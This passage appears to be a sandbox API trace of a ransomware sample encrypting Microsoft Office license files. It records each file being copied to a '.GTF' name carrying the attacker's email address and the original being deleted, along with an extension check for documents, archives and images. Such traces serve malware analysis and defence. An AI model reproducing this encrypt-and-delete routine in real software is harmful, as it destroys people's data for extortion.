	[0179.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220
	[0179.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.383] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.383] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0179.384] GetLastError () returned 0x0
	[0179.384] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0179.451] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.452] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.452] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1
	[0179.453] SetEndOfFile (hFile=0x42c) returned 1
	[0179.453] CloseHandle (hObject=0x42c) returned 1
	[0179.453] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.453] SetEndOfFile (hFile=0x530) returned 1
	[0179.455] CloseHandle (hObject=0x530) returned 1
	[0179.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString=".doc") returned 4
	[0179.457] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".docx") returned 5
	[0179.457] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.457] lstrlenW (lpString=".pdf") returned 4
	[0179.457] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".xls") returned 4
	[0179.457] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".xlsx") returned 5
	[0179.457] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.457] lstrlenW (lpString=".ppt") returned 4
	[0179.457] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString=".zip") returned 4
	[0179.457] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".rar") returned 4
	[0179.457] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".bz2") returned 4
	[0179.457] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString=".7z") returned 3
	[0179.457] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString=".dbf") returned 4
	[0179.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString=".1cd") returned 4
	[0179.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.457] lstrlenW (lpString=".jpg") returned 4
	[0179.457] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString=".doc") returned 4
	[0179.458] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".docx") returned 5
	[0179.458] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.458] lstrlenW (lpString=".pdf") returned 4
	[0179.458] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".xls") returned 4
	[0179.458] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".xlsx") returned 5
	[0179.458] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.458] lstrlenW (lpString=".ppt") returned 4
	[0179.458] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString=".zip") returned 4
	[0179.458] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".rar") returned 4
	[0179.458] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".bz2") returned 4
	[0179.458] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString=".7z") returned 3
	[0179.458] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString=".dbf") returned 4
	[0179.458] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString=".1cd") returned 4
	[0179.458] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0179.458] lstrlenW (lpString=".jpg") returned 4
	[0179.458] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.459] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.459] lstrlenW (lpString="O365HomePremR_SubTest2-ppd.xrm-ms") returned 33
	[0179.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.459] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23134) returned 1
	[0179.459] CloseHandle (hObject=0x530) returned 1
	[0179.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220
	[0179.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.460] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.460] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0179.461] GetLastError () returned 0x0
	[0179.461] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0179.508] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.510] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.510] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.510] SetEndOfFile (hFile=0x42c) returned 1
	[0179.510] CloseHandle (hObject=0x42c) returned 1
	[0179.510] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.510] SetEndOfFile (hFile=0x530) returned 1
	[0179.530] CloseHandle (hObject=0x530) returned 1
	[0179.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1
	[0179.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.537] lstrlenW (lpString=".doc") returned 4
	[0179.537] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.537] lstrlenW (lpString=".docx") returned 5
	[0179.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.537] lstrlenW (lpString=".pdf") returned 4
	[0179.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.537] lstrlenW (lpString=".xls") returned 4
	[0179.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.537] lstrlenW (lpString=".xlsx") returned 5
	[0179.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.538] lstrlenW (lpString=".ppt") returned 4
	[0179.538] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString=".zip") returned 4
	[0179.538] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".rar") returned 4
	[0179.538] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".bz2") returned 4
	[0179.538] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".7z") returned 3
	[0179.538] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString=".dbf") returned 4
	[0179.538] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString=".1cd") returned 4
	[0179.538] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString=".jpg") returned 4
	[0179.538] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.538] lstrlenW (lpString=".doc") returned 4
	[0179.538] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".docx") returned 5
	[0179.538] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.538] lstrlenW (lpString=".pdf") returned 4
	[0179.538] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".xls") returned 4
	[0179.538] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.538] lstrlenW (lpString=".xlsx") returned 5
	[0179.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.538] lstrlenW (lpString=".ppt") returned 4
	[0179.538] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.539] lstrlenW (lpString=".zip") returned 4
	[0179.539] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString=".rar") returned 4
	[0179.539] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString=".bz2") returned 4
	[0179.539] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString=".7z") returned 3
	[0179.539] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.539] lstrlenW (lpString=".dbf") returned 4
	[0179.539] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.539] lstrlenW (lpString=".1cd") returned 4
	[0179.539] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0179.539] lstrlenW (lpString=".jpg") returned 4
	[0179.539] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.539] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.539] lstrlenW (lpString="O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 36
	[0179.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.544] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11630) returned 1
	[0179.544] CloseHandle (hObject=0x504) returned 1
	[0179.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220
	[0179.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.549] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.549] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.552] GetLastError () returned 0x0
	[0179.552] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0179.563] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.564] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.564] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0179.564] SetEndOfFile (hFile=0x540) returned 1
	[0179.565] CloseHandle (hObject=0x540) returned 1
	[0179.565] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.565] SetEndOfFile (hFile=0x504) returned 1
	[0179.567] CloseHandle (hObject=0x504) returned 1
	[0179.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1
	[0179.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.568] lstrlenW (lpString=".doc") returned 4
	[0179.568] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.568] lstrlenW (lpString=".docx") returned 5
	[0179.568] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.569] lstrlenW (lpString=".pdf") returned 4
	[0179.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".xls") returned 4
	[0179.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".xlsx") returned 5
	[0179.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.569] lstrlenW (lpString=".ppt") returned 4
	[0179.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString=".zip") returned 4
	[0179.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".rar") returned 4
	[0179.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".bz2") returned 4
	[0179.569] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".7z") returned 3
	[0179.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString=".dbf") returned 4
	[0179.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString=".1cd") returned 4
	[0179.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString=".jpg") returned 4
	[0179.569] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.569] lstrlenW (lpString=".doc") returned 4
	[0179.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".docx") returned 5
	[0179.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.569] lstrlenW (lpString=".pdf") returned 4
	[0179.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.569] lstrlenW (lpString=".xls") returned 4
	[0179.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".xlsx") returned 5
	[0179.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.570] lstrlenW (lpString=".ppt") returned 4
	[0179.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.570] lstrlenW (lpString=".zip") returned 4
	[0179.570] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".rar") returned 4
	[0179.570] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".bz2") returned 4
	[0179.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".7z") returned 3
	[0179.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.570] lstrlenW (lpString=".dbf") returned 4
	[0179.570] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
